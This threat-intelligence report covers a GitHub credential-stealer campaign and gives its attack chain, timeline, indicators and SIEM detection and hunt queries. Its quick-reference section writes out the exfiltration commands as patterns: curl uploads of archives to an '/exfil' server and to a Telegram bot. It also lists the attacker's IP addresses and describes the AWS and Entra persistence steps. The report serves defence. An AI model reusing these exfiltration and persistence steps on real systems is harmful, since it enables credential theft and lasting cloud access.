HomeLabs
The wfx GitHub stealer:
an October rehearsal, and
what a deleted run proves
10
Discovered by Mate
28
Indicators

Overview

A stealer that arrives through a stolen account and is gone before anyone looks

What happened

Pushed with stolen tokens, reverted in seconds

Someone holding stolen GitHub tokens adds a credential stealer to a build workflow, an npm install hook or an existing shell script, and reverts the commit, within a minute wherever the revert was timed. Aikido, SafeDep and StepSecurity reported it on 12 November.

What Mate’s hunting agent found

A rehearsal, five versions and a replay

Mate’s hunting agent read the first commit carrying the stealer in every listed repository it could still reach. The stealer was rehearsed on GitHub from 25 October, has gone through five versions, and on 12 November was pushed again into most of the listed repositories. Most of the workflow files it landed in had been planted by earlier campaigns.

Why blocklists and missing-run checks mislead

No server left to block, and a missing run is not an execution

The current version sends to Telegram and names no server. A gap in a workflow’s run numbers shows only that a run record was removed: in most gaps Mate’s hunting agent examined, the run for the operator’s revert, seconds later, never started a job.

What you can do

Start from the account, then ask whether a job started

A pull request titled docs: dependency audit notes from a branch named wfx-docs means that account’s token is stolen: revoke it. Check the run for the revert commit, ci: restore: if it started a job, assume the stealer’s run did too and rotate everything the workflow could read. In AWS, look for sessions named ci- or wfx- and a number, and trust policies opened to any account; in Entra, credentials named wfx-ci-.

Key findings

Rehearsed in October, pushed from accounts earlier campaigns used, and a deleted run is not proof it ran

We read the stealer’s first commit in 8,070 of the 8,092 repositories SafeDep lists. It was rehearsed in 27 trial commits from 25 to 29 October, which tagged their uploads with six campaign tokens DISCOVERED BY MATE. Of the 7,225 workflow files it was added to, 5,191 had been planted by an earlier campaign, from the same account in every repository we checked (140 from GhostAction, 34 from Megalodon). On 12 November it was pushed again into 7,065 of the listed repositories. In a sample of 150 repositories, its run was missing in 115, yet in 82 of those the revert’s run never started a job.

Runs of one workflow: run #n−1 is an earlier run, run #n has had its record removed, and run #n+1 is ci: restore, the run to check, seconds after #n. Did #n+1 start a job? No, held for approval: the gap is no proof the stealer ran (82 of 115 gaps in a sample of 150 repositories). Yes, a job started: assume the stealer’s run did too and rotate what the workflow could read.
A missing run number shows only that a run record was removed. Check the run for the operator’s revert, seconds later in the same workflow.

Attack chain

From a stolen token to a reverted commit, in under a minute

The steps follow copies of the stealer we read from public commits between 25 October and 12 November. Nothing was run: what the stealer does in a cloud account is read from its text.

One minute in a repository: a probe pull request from wfx-docs, then the stealer commit ci: refresh build cache, reverted by ci: restore a median of 11 seconds later and never over 58 seconds, after which the repository looks clean again. If the workflow run starts a job, it can outlast the revert; the run record is removed later. Revert times: 435 commits timed in a sample of 150 repositories.
The workflow form in one repository: the stealer commit is reverted a median of 11 seconds later, while a run that starts a job can outlast the revert.
$ git log --graph
  1. 01Access

    A stolen token, checked with a pull request

    In repositories a stolen token can write to, the operator opens a pull request titled docs: dependency audit notes from a branch named wfx-docs. This probe alone means the token is stolen. How the tokens were taken is not established.

    • Pull request: docs: dependency audit notes
    • Branch: wfx-docs
  2. 02aDelivery · Workflow

    Steps added to an existing workflow

    In 7,212 repositories, ci: refresh build cache adds two steps and the permission statuses: write to a workflow that runs on a push: the alphabetically first one in 471 of 484 repositories we checked. In 16 more, a new workflow file is added instead.

    • ci: refresh build cache
    • Pass runtime · Restore cache <4>
    • .github/workflows/build-audit-<6>.yml
  3. 02bDelivery · npm

    A hidden script that npm runs on every install

    In 767 repositories, chore: add ci helper adds a hidden .ci-<6>.sh and a postinstall line in package.json. It runs wherever npm install runs, including a developer’s machine, and it reached a published Packagist package.

    • chore: add ci helper
    • .ci-<6>.sh
    • digitalelvis/neuronai-studio 3.14.3, 3.14.4
  4. 02cDelivery · Shell scriptDISCOVERED BY MATE

    Appended to a script the repository already had

    In 74 repositories the stealer is appended to an existing shell script, after the line # ci cache. It runs wherever that script runs.

    • ci: refresh build cache
    • # ci cache
  5. 03Collection

    Secrets, credential files and the runner’s memory

    The stealer writes out the repository’s Actions secrets and job tokens, copies cloud, registry, SSH and AI-tool credential files, and searches the memory of the runner, the machine that runs the build, for tokens. It works in a directory named .wfx-<pid> and deletes it at the end.

    • <temp>/.wfx-<pid>/
    • <temp>/wfx-<pid>.tgz
    • <temp>/wfx-scan-<pid>/
  6. 04Cloud access

    From a build token to lasting access

    The stealer trades GitHub identity tokens for cloud sessions. In AWS the first session is named ci-<pid>; only a second role, assumed from the first, is named wfx-<pid>. It then tries to create permanent access keys and opens that role’s trust policy to any account. In Microsoft Entra it adds a sign-in credential named wfx-ci-<n> to applications. In 16 repositories it was also set to post a passing status under the repository’s required check names.

    • AWS session: ci-<pid>, then wfx-<pid>
    • Trust policy: Principal AWS *
    • Entra credential: wfx-ci-<n>
  7. 05Upload

    One archive to a rented server, then to Telegram

    The archive is posted over plain HTTP to port 8080 of a rented address (8081 in some trial copies), which changed with each wave. Since 01:46 UTC on 12 November copies send it to a Telegram chat instead. If nothing is delivered the stealer exits with code 42, which the npm form passes on to the install.

    • 45.61.182[.]54
    • 18.143.168[.]96
    • 194.150.166[.]244
    • 153.75.82[.]159
    • Telegram chat -1004340163187
  8. 06Clean-up

    Reverted in seconds, and the run record removed

    A commit named ci: restore puts the workflow back, a median of 11 seconds later and never more than 58 in the 150 repositories we sampled; ci: cleanup removes the hidden script. In 115 of the 150 the run for the stealer commit is no longer listed, which leaves a gap in the workflow’s run numbers.

    • ci: restore · ci: cleanup
    • A missing run number

Detect & hunt

Detections and hunts

Ten detections to alert on and three hunts to run periodically, keyed on what has held across the copies we read rather than on servers. Endpoint cards cover six platforms plus Sigma; the others cover the platforms that document their logs, plus Sigma.

Detect: alert on these

10 detections
Use
Detection
Anchor
ATT&CK
AlertHigh
GitHub OIDC sign-in to AWS from curl, with a session named ci-<digits>
Template

Finds AssumeRoleWithWebIdentity calls through GitHub's OIDC provider, made with curl, with a session named ci-<digits>: the stealer's first step into AWS. Only the session it opens next, on another role, is named wfx-.

Held

The session name and the curl call are unchanged in the trial copies of 25 to 29 October and all five November versions, in every copy we read to 12 November (08:08 UTC).

Needs

CloudTrail management events, read events included, from each account whose roles GitHub workflows assume, in a trail covering us-east-1, where CloudTrail records calls to STS's global endpoint.

Do not block: Do not block token.actions.githubusercontent.com, a GHE.com enterprise's token.actions.<subdomain>.ghe.com or sts.amazonaws.com: limit the role's trust policy to the repositories and branches that should assume it, and revoke its sessions.

CQL
#Vendor="aws" #event.module="cloudtrail"
| event.provider="sts.amazonaws.com" event.action="AssumeRoleWithWebIdentity"
| Vendor.requestParameters.roleSessionName=/^ci-[0-9]+$/
| user_agent.original=/^curl\//
| Vendor.userIdentity.identityProvider=/token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])/
    or Vendor.responseElements.provider=/token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])/
| table([@timestamp, Vendor.recipientAccountId, error.code, Vendor.requestParameters.roleArn,
    Vendor.requestParameters.roleSessionName, Vendor.userIdentity.userName, source.address,
    user_agent.original], limit=1000, sortby=Vendor.requestParameters.roleArn, type=string, order=asc)
| head(1000)

See: Attack chain · Timeline

AlertCritical
AWS role session named wfx-<digits> or tagged wfx, and every call made from it
Template

Finds the AssumeRole that opens a session named wfx-<digits> or tagged wfx, and every call made from a wfx- session: the stealer's session on a second role, from which it asks for IAM access keys and rewrites that role's trust policy.

Held

The name is unchanged in every copy we read of all five November versions, to 12 November (08:08 UTC), and the tags are in all six copies we read in full; the October trial copies make no second role call.

Needs

CloudTrail management events, read and write, from every account and Region; a refused AssumeRole into another account is logged only in the calling account.

Do not block: Do not block sts.amazonaws.com: revoke the role's sessions, delete any key the session created and restore the trust policy.

CQL
#Vendor="aws" #event.module="cloudtrail"
| (event.provider="sts.amazonaws.com" event.action="AssumeRole"
      (Vendor.requestParameters.roleSessionName=/^wfx-[0-9]+$/
       or @rawstring=/"transitiveTagKeys"\s*:\s*\[[^\]]*"wfx"|"key"\s*:\s*"wfx"/))
    or Vendor.userIdentity.arn=/:assumed-role\/[^\/]+\/wfx-[0-9]+$/
| table([@timestamp, Vendor.recipientAccountId, event.provider, event.action, error.code,
    Vendor.userIdentity.arn, Vendor.requestParameters.roleSessionName, Vendor.requestParameters.roleArn,
    source.address, user_agent.original], limit=500, sortby=@timestamp, order=asc)
| head(500)

See: Attack chain · Timeline

AlertCritical
Federated credential named wfx-ci-<number> added to an Entra application
Template
ATT&CKT1098.001

Finds a federated credential named wfx-ci-<number>, trusting GitHub's Actions issuer, on a Microsoft Entra application whose credentials changed: the add, and any later change until the credential is deleted. The stealer tries to add one to each of up to three applications it can list, so a workflow in the repository its copy was pushed into can sign in as them without a secret.

Held

Unchanged in all five November versions we compared, to the latest copy compared (12 November, 08:08 UTC); the trial copies have no such step.

Needs

Entra ID audit logs; for CrowdStrike, with the original event text kept. The Splunk query reads sourcetype azure:monitor:aad, which the Event Hub input offers for Entra logs, not its generic default mscs:azure:eventhub.

Do not block: Do not block token.actions.githubusercontent.com or a GHE.com enterprise's token.actions.<subdomain>.ghe.com, which carry legitimate deployments to Azure: delete the credential, then review what the application's service principal did since it was added.

CQL
#repo="3pi_microsoft_entra_id"
| @rawstring=/FederatedIdentityCredentials/
| @rawstring=/"(?<operation>Update (application|service principal)[^"]*)"/i
// the new value must name GitHub's issuer and a wfx-ci credential
| @rawstring=/"newValue"\s*:\s*"(?:[^"\\]|\\.)*?token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])/
| @rawstring=/"newValue"\s*:\s*"(?:[^"\\]|\\.)*?(?<cred_name>wfx-ci-[0-9]+)/i
| @rawstring=/(?<wfx_cred>\{[^{}]*wfx-ci-[0-9]+[^{}]*\})/i
| regex("\"initiatedBy\"[^}]*?\"userPrincipalName\"[ ]*:[ ]*\"(?<actor_upn>[^\"]+)\"", strict=false)
| regex("\"initiatedBy\"[^}]*?\"app\"[ ]*:[ ]*[{][^}]*?\"displayName\"[ ]*:[ ]*\"(?<actor_app>[^\"]+)\"", strict=false)
| regex("\"correlationId\"[ ]*:[ ]*\"(?<correlation_id>[^\"]+)\"", strict=false)
| table([@timestamp, operation, cred_name, wfx_cred, actor_upn, actor_app, correlation_id, @id])
| head(200)

See: Attack chain

AlertHigh
GitHub branch wfx-docs used by a user account: treat that account's token as stolen
Template

Alerts on a workflow-run event on a branch named wfx-docs whose actor is a user account, and shows beside it any pull request titled docs: dependency audit notes in the same repository. A wfx-docs pull request opened by a user account since 10 November is the operator checking the token, even with no commit after it.

Held

GitHub's pull request search returned no pull request from a wfx-docs branch opened before 12:45 UTC on 10 November 2026; in 134 of 140 sampled repositories the branch was created 3 to 64 seconds before the first stealer commit.

Needs

A GitHub organisation or enterprise audit log in the SIEM (GitHub Enterprise Cloud), and a workflow that runs on a push to any branch or on pull requests: the branch name reaches the log only on workflow runs. For a repository owned by a personal account, search its pull requests for head:wfx-docs. The Splunk query reads sourcetype github:cloud:audit (audit-log streaming or the add-on's API input); logs forwarded from GitHub Enterprise Server (github:enterprise:audit) or streamed to Amazon S3 (aws:s3) need their own field mapping.

KQL
union isfuzzy=true GitHubAuditLogsV2_CL, GitHubAuditLogsV3_CL,
    (GitHubAuditLogPolling_CL
    | project TimeGenerated, Action = action_s, Actor = column_ifexists("actor_s", ""), ActorIsBot = column_ifexists("actor_is_bot_b", false),
        Repo = column_ifexists("repo_s", ""), HeadBranch = column_ifexists("head_branch_s", ""),
        PullRequestTitle = column_ifexists("pull_request_title_s", ""), PullRequestUrl = column_ifexists("pull_request_url_s", ""))
| where TimeGenerated > ago(7d)
| where not(coalesce(ActorIsBot, false)) and not(Actor endswith "[bot]")
| extend OnBranch = Action startswith "workflows." and HeadBranch =~ "wfx-docs",
    TitleMatch = Action == "pull_request.create" and PullRequestTitle =~ "docs: dependency audit notes"
| where OnBranch or TitleMatch
| summarize FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated), BranchEvents = countif(OnBranch),
    BranchActors = make_set_if(Actor, OnBranch, 20), RunActions = make_set_if(Action, OnBranch, 20),
    TitleOpeners = make_set_if(Actor, TitleMatch, 20), TitlePullRequests = make_set_if(PullRequestUrl, TitleMatch, 20)
    by Repo
| where BranchEvents > 0
| order by LastSeen desc
| take 500

See: Attack chain · Timeline · Indicators

AlertHigh
curl posting a gzip archive to a URL whose query holds h=, l= and id=
Template

Finds curl posting a file as application/gzip to a URL whose query holds h=<repository>&l=<label>&id=<run>-<job>-<pid>: the stealer uploading its archive. The URL is a curl argument, so the match holds whatever the server's address or port.

Held

The same request in the trial copies of 25 to 29 October and all five November versions, to the latest copy we hashed (12 November, 08:08 UTC), across four addresses and ports 8080 and 8081; copies pushed from 01:46 UTC on 12 November make it only if their Telegram upload fails, to 127.0.0.1 port 1.

Needs

Process events with full command lines from Linux and macOS self-hosted runners, build servers and developer machines, short-lived processes included; GitHub-hosted runners carry no sensor of yours.

CQL
#event_simpleName=ProcessRollup2
| CommandLine=/application\/gzip/
| CommandLine=/--data-binary/
| CommandLine=/[?&]h=[^&\s]+&l=[^&\s]+&id=[0-9]+-/
| table([@timestamp, ComputerName, event_platform, ParentBaseFileName, ImageFileName, CommandLine])
| head(200)

See: Attack chain · Timeline · Indicators

AlertHigh
HTTP POST to /exfil with a query holding h=, l= and id=, in proxy or NDR logs
Template

Finds an HTTP POST to /exfil whose query holds h=, l= and id= in that order: the stealer uploading its archive to its server. It keys on the path and query, not the server: the copies we read name four addresses and two ports.

Held

In every copy we read that names a server: the trial copies of 25 to 29 October and the November versions pushed up to 01:14 UTC on 12 November. Copies pushed from 01:46 UTC send to Telegram.

Needs

Full-URL logs, allowed requests included, from a proxy, gateway, NDR sensor or firewall that sees plain HTTP from self-hosted runners, build servers and developer machines; GitHub-hosted runners never reach them. Where the method is not logged, a matching URL is returned whatever its method. The Microsoft query needs Sentinel's ASIM web-session schema.

CQL
url.original=/\/exfil\?/
// Falcon Next-Gen SIEM with proxy, gateway or NDR logs parsed to the CrowdStrike Parsing Standard (ECS fields).
| url.original=/^(([A-Za-z]+:\/\/)?[^\/?]+)?\/exfil\?(.*&)?h=[^&]+&l=[^&]+&id=[0-9]+-[^&]+-[0-9]+(&|$)/
| http.request.method=/^post$/i or http.request.method!=*
| table([@timestamp, #Vendor, source.ip, destination.ip, destination.port, http.request.method, url.original])
| head(200)

See: Attack chain · Timeline · Indicators

AlertHigh
Shell running a hidden ./.ci-<6 characters>.sh helper, as the stealer's npm hook does
Template

Finds a shell running sh ./.ci-<six lower-case letters or digits>.sh, the hidden helper the stealer calls from a package.json postinstall script, which npm ci and npm install with no package named both run. A project's own script with a six-letter word as its suffix (.ci-deploy.sh) also matches.

Held

767 of the 8,070 first stealer commits we read use this form, as do 656 of the 8,208 stealer commits we read from 12 November; in every one the suffix is six lower-case letters or digits.

Needs

Process events with full command lines from Linux and macOS build servers, self-hosted runners and developer machines; expect npm or node, then a shell, as the parents. On CrowdStrike, script-written events also show the helper landing on disk, even if it never runs.

CQL
#event_simpleName=/^(ProcessRollup2|NewScriptWritten.*)$/
| case {
    #event_simpleName=ProcessRollup2 CommandLine=/sh\s+\.\/\.ci-[a-z0-9]{6}\.sh/ ;
    #event_simpleName=/^NewScriptWritten/ FileName=/^\.ci-[a-z0-9]{6}\.sh$/ ;
  }
| table([@timestamp, ComputerName, event_platform, #event_simpleName, FileName, FilePath, CommandLine, ContextBaseFileName])
| head(200)

See: Attack chain · Timeline

AlertHigh
Command line naming .wfx-<pid>, wfx-scan-<pid> or wfx-<pid>.tgz
Template

Finds a command line with a path segment .wfx-<digits>, wfx-scan-<digits> or wfx-<digits>.tgz: the stealer's staging folder, repository folder and archive, named after the shell's process id. Its memory search, packing and upload all carry one of them.

Held

Unchanged in the trial copies of 25 to 29 October and all five November versions, to the latest copy we hashed (12 November, 08:08 UTC).

Needs

Process events with full command lines from Linux and macOS self-hosted runners, build servers and developer machines, short-lived processes included; GitHub-hosted runners carry no sensor of yours. The Microsoft, Cortex and SentinelOne queries also read file-creation events.

CQL
#event_simpleName=ProcessRollup2
| CommandLine=/\/(\.wfx-[0-9]+|wfx-[0-9]+\.tgz|wfx-scan-[0-9]+)/
| table([@timestamp, ComputerName, event_platform, ParentBaseFileName, ImageFileName, CommandLine])
| head(200)

See: Attack chain · Timeline

AlertHigh
curl uploading the stealer's archive to Telegram as b<n>_…_<part>of<total>.tgz
Template

Finds a command line calling the Telegram Bot API's sendDocument with a file named b<n>_<base|script>_<run>-<job>-<pid>_<part>of<total>.tgz, the name the stealer gives its archive or its parts. Copies pushed from 01:46 UTC on 12 November name no server and upload this way.

Held

Unchanged in all three Telegram versions, in copies pushed from 01:07:50 UTC on 12 November to the latest copy we hashed (08:08 UTC); earlier versions hold no Telegram code.

Needs

Process events with full command lines from self-hosted runners, build servers and developer machines; GitHub-hosted runners carry no sensor of yours. Network logs without TLS inspection show only api.telegram.org.

Do not block: Do not block api.telegram.org for everyone, since teams use their own bots: review which hosts call sendDocument, then restrict it on build hosts that have none.

CQL
#event_simpleName=ProcessRollup2
| CommandLine=/api\.telegram\.org\/bot[^\/\s]+\/sendDocument/i
| CommandLine=/filename=b[0-9]+_(base|script)_[0-9]+-[A-Za-z0-9_-]+-[0-9]+_[0-9]+of[0-9]+\.tgz/
| table([@timestamp, ComputerName, event_platform, ParentBaseFileName, ImageFileName, CommandLine])
| head(200)

See: Attack chain · Timeline

AlertCritical
IAM role trust policy rewritten to let any AWS account assume the role
Technique

Finds UpdateAssumeRolePolicy calls whose new trust policy names any AWS principal ("AWS": "*" or "Principal": "*") with no Condition, as the stealer does to the role it chains to. It keys on the change, so it holds for any operator.

Held

The stealer's rewrite is unchanged in all five November versions, in every copy we read to 12 November (08:08 UTC); the October trial copies make no change in AWS.

Needs

CloudTrail management events from every account, in a trail covering us-east-1, where CloudTrail records IAM calls.

Do not block: Do not block iam.amazonaws.com: restore the previous trust policy, revoke the role's sessions and look for AssumeRole calls into it from accounts you do not own.

CQL
#Vendor="aws" #event.module="cloudtrail"
| event.provider="iam.amazonaws.com" event.action="UpdateAssumeRolePolicy"
| @rawstring=/\\?"AWS\\?"\s*:\s*(\[[^\]]*)?\\?"\*\\?"|\\?"Principal\\?"\s*:\s*\\?"\*\\?"|%22(AWS|Principal)%22(%20|\+)*%3A(%20|\+)*%22(\*|%2A)%22/
| @rawstring!=/Condition/
| table([@timestamp, Vendor.recipientAccountId, event.action, error.code, Vendor.userIdentity.arn,
    Vendor.userIdentity.type, Vendor.requestParameters.roleName,
    Vendor.requestParameters.policyDocument, source.address, user_agent.original])
| head(200)

See: Attack chain · Timeline

Hunt: run periodically, do not alert

3 hunts
Use
Detection
Anchor
ATT&CK
HuntMedium
IAM access keys created for named users from an assumed-role session
Technique

Finds CreateAccessKey calls for a named IAM user from an assumed-role session, one row per session, and marks sessions that called ListUsers first. From its second version the stealer lists up to five users and asks for keys for the first two; infrastructure-as-code roles create keys too, hence a hunt.

Held

In the second November version (from 10 November, 15:33 UTC) and every later one, in every copy we read to 12 November (08:08 UTC).

Needs

CloudTrail management events, read and write (ListUsers is a read event), in a trail covering us-east-1.

Do not block: Do not block iam.amazonaws.com: delete the keys the session created, check each user's other keys and revoke the role's sessions.

CQL
#Vendor="aws" #event.module="cloudtrail"
| event.provider="iam.amazonaws.com" event.action=/^(CreateAccessKey|ListUsers)$/
| Vendor.userIdentity.type="AssumedRole"
| case {
    event.action="CreateAccessKey" Vendor.requestParameters.userName=* | key_user := Vendor.requestParameters.userName | key_time := @timestamp ;
    event.action="ListUsers" | list_time := @timestamp ;
    * ;
  }
| groupBy([Vendor.recipientAccountId, Vendor.userIdentity.arn, Vendor.userIdentity.accessKeyId],
    function=[count(key_user, as=key_requests), collect([key_user, error.code, source.address, user_agent.original]),
              min(key_time, as=first_key_request), min(list_time, as=first_list_users)])
| key_requests > 0
| case {
    first_list_users=* | test(first_list_users <= first_key_request) | list_users_first := "yes" ;
    * | list_users_first := "no" ;
  }
| minutes_from_list_users := (first_key_request - first_list_users) / 60000
| sort([list_users_first, first_key_request], type=[string, number], order=[desc, asc], limit=1000)
| head(1000)

See: Attack chain · Timeline

HuntMedium
GitHub Actions federated credential added to an Entra application
Technique
ATT&CKT1098.001

Lists each change that adds a federated credential with GitHub's Actions issuer to an Entra application, with the subject of every GitHub credential the application then holds. Chase a subject naming a repository that should not deploy there: the stealer's names the default branch of the repository its copy sits in.

Held

Independent of the credential's name: any credential that lets a workflow on github.com sign in as an Entra application must name GitHub's issuer, as all five November versions we compared do.

Needs

Entra ID audit logs, and a list of the repositories and branches meant to deploy to each application. The Splunk query reads sourcetype azure:monitor:aad, which the Event Hub input offers for Entra logs, not its generic default mscs:azure:eventhub.

Do not block: Do not block token.actions.githubusercontent.com or a GHE.com enterprise's token.actions.<subdomain>.ghe.com: remove a credential whose subject you cannot account for, then review what the application's service principal did since it was added.

CQL
#repo="3pi_microsoft_entra_id"
| @rawstring=/FederatedIdentityCredentials/
| @rawstring=/"(?<operation>Update (application|service principal)[^"]*)"/i
// take the new value that holds GitHub's issuer
| @rawstring=/"newValue"\s*:\s*"(?<new_creds>(?:[^"\\]|\\.)*?token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:(?:\\.|[^"\\a-z0-9.-])(?:[^"\\]|\\.)*)?)"/
// keep changes that raise the number of GitHub-issued credentials on the application;
// the old count is the whole record's count minus the new value's; each issuer is marked #GH# and the marks counted
| replace("token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])", with="#GH#", field=new_creds, as=new_marked)
| replace("token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:$|[^a-z0-9.-])", with="#GH#", field=@rawstring, as=raw_marked)
| replace("#GH#", with="", field=new_marked, as=new_rest)
| replace("#GH#", with="", field=raw_marked, as=raw_rest)
| length(new_marked, as="len_new")
| length(new_rest, as="len_new_rest")
| length(raw_marked, as="len_raw")
| length(raw_rest, as="len_raw_rest")
| eval(gh_new = (len_new - len_new_rest) / 4)
| eval(gh_old = (len_raw - len_raw_rest) / 4 - gh_new)
| test(gh_new > gh_old)
| regex("\"initiatedBy\"[^}]*?\"userPrincipalName\"[ ]*:[ ]*\"(?<actor_upn>[^\"]+)\"", strict=false)
| regex("\"initiatedBy\"[^}]*?\"app\"[ ]*:[ ]*[{][^}]*?\"displayName\"[ ]*:[ ]*\"(?<actor_app>[^\"]+)\"", strict=false)
| regex("\"correlationId\"[ ]*:[ ]*\"(?<correlation_id>[^\"]+)\"", strict=false)
// one row per GitHub-issued credential the application then holds
| regex("(?<gh_cred>[{][^{}]*token[.]actions[.](?:githubusercontent[.]com|[a-z0-9-]+[.]ghe[.]com)(?:[^a-z0-9.{}-][^{}]*)?[}])", field=new_creds, repeat=true)
| replace("\\\\", with="", field=gh_cred)
| regex("\"name\"[ ]*:[ ]*\"(?<cred_name>[^\"]*)\"", field=gh_cred, flags="i", strict=false)
| regex("\"subject\"[ ]*:[ ]*\"(?<cred_subject>[^\"]*)\"", field=gh_cred, flags="i", strict=false)
| table([@timestamp, operation, actor_upn, actor_app, cred_name, cred_subject, correlation_id, @id])
| head(200)

See: Attack chain

HuntMedium
GitHub workflow runs deleted by a user account, shortest time after creation first
Technique
ATT&CKT1070

Lists workflow runs deleted by a user account, each paired with its creation, with the seconds between them and whether the deleter also triggered the run. In 115 of 150 sampled repositories where the stealer was added to a workflow, the run for the stealer commit is missing from the repository's run list.

Held

In those repositories run numbers went missing beside stealer commits from 10 November 13:03 to 12 November 05:54 UTC. Whether the audit log records these as deletions by a user account is not established: we hold no such record.

Needs

A GitHub organisation or enterprise audit log in the SIEM through the audit log API or streaming (GitHub Enterprise Cloud), which carry run creation; the audit log page does not. A repository owned by a personal account has only its owner's security log, which lists run deletions made with the owner's account but which these queries do not read. The Splunk query reads sourcetype github:cloud:audit (audit-log streaming or the add-on's API input); logs forwarded from GitHub Enterprise Server (github:enterprise:audit) or streamed to Amazon S3 (aws:s3) need their own field mapping.

KQL
let gh = union isfuzzy=true GitHubAuditLogsV2_CL, GitHubAuditLogsV3_CL,
        (GitHubAuditLogPolling_CL
        | project TimeGenerated, Action = action_s, Actor = column_ifexists("actor_s", ""), ActorIsBot = column_ifexists("actor_is_bot_b", false),
            Repo = column_ifexists("repo_s", ""), WorkflowRunId = column_ifexists("workflow_run_id_d", real(null)),
            RunNumber = column_ifexists("run_number_d", real(null)), WorkflowId = column_ifexists("workflow_id_d", real(null)),
            Name = column_ifexists("name_s", ""), HeadBranch = column_ifexists("head_branch_s", ""), HeadSha = column_ifexists("head_sha_s", ""),
            ProgrammaticAccessType = column_ifexists("programmatic_access_type_s", ""), UserAgent = column_ifexists("user_agent_s", ""))
    | where TimeGenerated > ago(7d)
    | where Action in ("workflows.created_workflow_run", "workflows.delete_workflow_run")
    | extend RunKey = case(isnotnull(WorkflowRunId), strcat("run ", tolong(WorkflowRunId)),
        isnotnull(RunNumber), strcat(Repo, " workflow ", tolong(WorkflowId), " number ", tolong(RunNumber)), "");
let created = gh
    | where Action == "workflows.created_workflow_run" and isnotempty(RunKey)
    | summarize CreatedAt = min(TimeGenerated), RunActor = take_any(Actor) by Repo, RunKey;
gh
| where Action == "workflows.delete_workflow_run"
| where not(coalesce(ActorIsBot, false)) and not(Actor endswith "[bot]")
| project DeletedAt = TimeGenerated, Repo, RunKey, DeletedBy = Actor, ProgrammaticAccessType,
    RunId = tolong(WorkflowRunId), RunNumber = tolong(RunNumber), Workflow = Name, HeadBranch, HeadSha, UserAgent
| join kind=leftouter created on Repo, RunKey
| project-away Repo1, RunKey1
| extend SecondsCreatedToDeleted = datetime_diff("second", DeletedAt, CreatedAt),
    DeletedByRunActor = case(isempty(RunActor), "unknown", DeletedBy == RunActor, "yes", "no")
| order by SecondsCreatedToDeleted asc nulls last, DeletedAt desc
| take 500

See: Attack chain

Quick reference: what the campaign looks like

5 patterns
  • Process: a build machine or a developer’s machine

    Numbers are process numbers; the six characters differ per repository.

    sh ./.ci-<6 lowercase letters or digits>.sh        started by npm's postinstall hook
    <runner temp or /tmp>/.wfx-<pid>/              working directory
    <runner temp or /tmp>/wfx-<pid>.tgz             the archive
    <TMPDIR or /tmp>/wfx-scan-<pid>/               a copy of the repository
    curl ... -H "Content-Type: application/gzip" --data-binary @.../wfx-<pid>.tgz "<server>/exfil?h=..."
    curl ... https://api.telegram.org/bot<id>:<token>/sendDocument      from 12 November
  • Network: the upload

    Plain HTTP to a bare address, so a proxy that records URLs sees the whole request.

    POST http://<IPv4>:<8080|8081>/exfil?h=<owner_repo>&l=<base|script>&id=<run>-<job>-<pid>&t=<token>
    Content-Type: application/gzip
    
    # from 12 November
    POST https://api.telegram.org/bot<id>:<token>/sendDocument
    file  b<bot number>_<base|script>_<run>-<job>-<pid>_<n>of<total>.tgz
  • AWS: CloudTrail

    The first hop is not named wfx.

    AssumeRoleWithWebIdentity   roleSessionName ci-<pid>      from GitHub's identity provider
    AssumeRole                  roleSessionName wfx-<pid>     the second, chained role
    ListUsers, then CreateAccessKey for up to two users
    UpdateAssumeRolePolicy      Principal {"AWS":"*"}
  • Microsoft Entra: audit log

    A credential that lets a GitHub workflow sign in as an application.

    Federated credential added to an application
      name      wfx-ci-<n>
      issuer    https://token.actions.githubusercontent.com
  • GitHub: the repository

    What remains after the commit is reverted.

    Pull request   docs: dependency audit notes      from branch wfx-docs
    Commits        ci: refresh build cache · chore: add ci helper · chore: add dependency audit workflow
                   ci: restore · ci: cleanup
    Workflow       permissions: statuses: write; steps "Pass runtime" and "Restore cache <4 characters>"
    Files          .ci-<6>.sh · .github/workflows/build-audit-<6>.yml · "# ci cache" before a second #!/bin/sh
    Runs           a missing run number for the stealer commit: check whether the revert's run started a job
    Other          commit status described as "wfx" · artifact wfx-loot-<run id> · cache key starting wfx-

Timeline

Trials in late October, then two days of changes

Operator rows are dated by commit time, in UTC.

  • Operator activity
  • Public reporting
  • DISCOVERED BY MATE In no public source we checked
  1. Public reporting

    GitHub starts holding suspect workflow runs

    Runs it judges potentially malicious in public repositories wait for a collaborator’s approval before any job starts.

  2. Public reporting

    The October GhostAction wave is reported

    StepSecurity and Socket describe planted workflows that send repository secrets to 193.32.204[.]199.

  3. Operator

    Earliest copy we foundDISCOVERED BY MATE

    A shorter version of the stealer is pushed into a public repository at 07:08 UTC and removed within six seconds, with campaign token y2jh50rttsakhazu9iqi. It is the first of 27 trial commits in seven repositories.

  4. Public reporting

    The trial server is named in public

    A post on X, shown in a developer’s write-up of 11 November, names 45.61.182[.]54:8080/exfil.

  5. Operator

    The trials end, on port 8081DISCOVERED BY MATE

    The last trial commits post to http://45.61.182[.]54:8081/exfil with campaign token ji7pd98tcp9mqzmuel6z.

  6. Operator

    The campaign opensDISCOVERED BY MATE

    Probe pull requests start at 12:45 UTC. One stealer commit follows at 12:46 with campaign token wme5u38iy901c2sac11f, and the mass push begins at 13:02, posting to 18.143.168[.]96.

  7. Operator

    A corrected version, tried on earlier victims firstDISCOVERED BY MATE

    At 15:33 UTC a second version, which fixes the first one’s broken memory search, goes into repositories already hit, with campaign token a44914fke1tw5yddfkt3.

  8. Operator

    The server changes

    From 05:03 UTC copies post to 194.150.166[.]244.

  9. Public reporting

    People affected describe it before the vendors

    Account owners describe the probes and the injected commits on Reddit and in pull-request comments.

  10. Operator

    Telegram only, replayed over earlier victims

    After a seven-minute trial that still used a server, 153.75.82[.]159, copies from 01:46 UTC send only to a Telegram chat. They go into repositories already hit, and pushing continued at 09:19.

  11. Public reporting

    Three vendor reports

    Aikido, SafeDep and StepSecurity publish the campaign.

Indicators

Indicator register

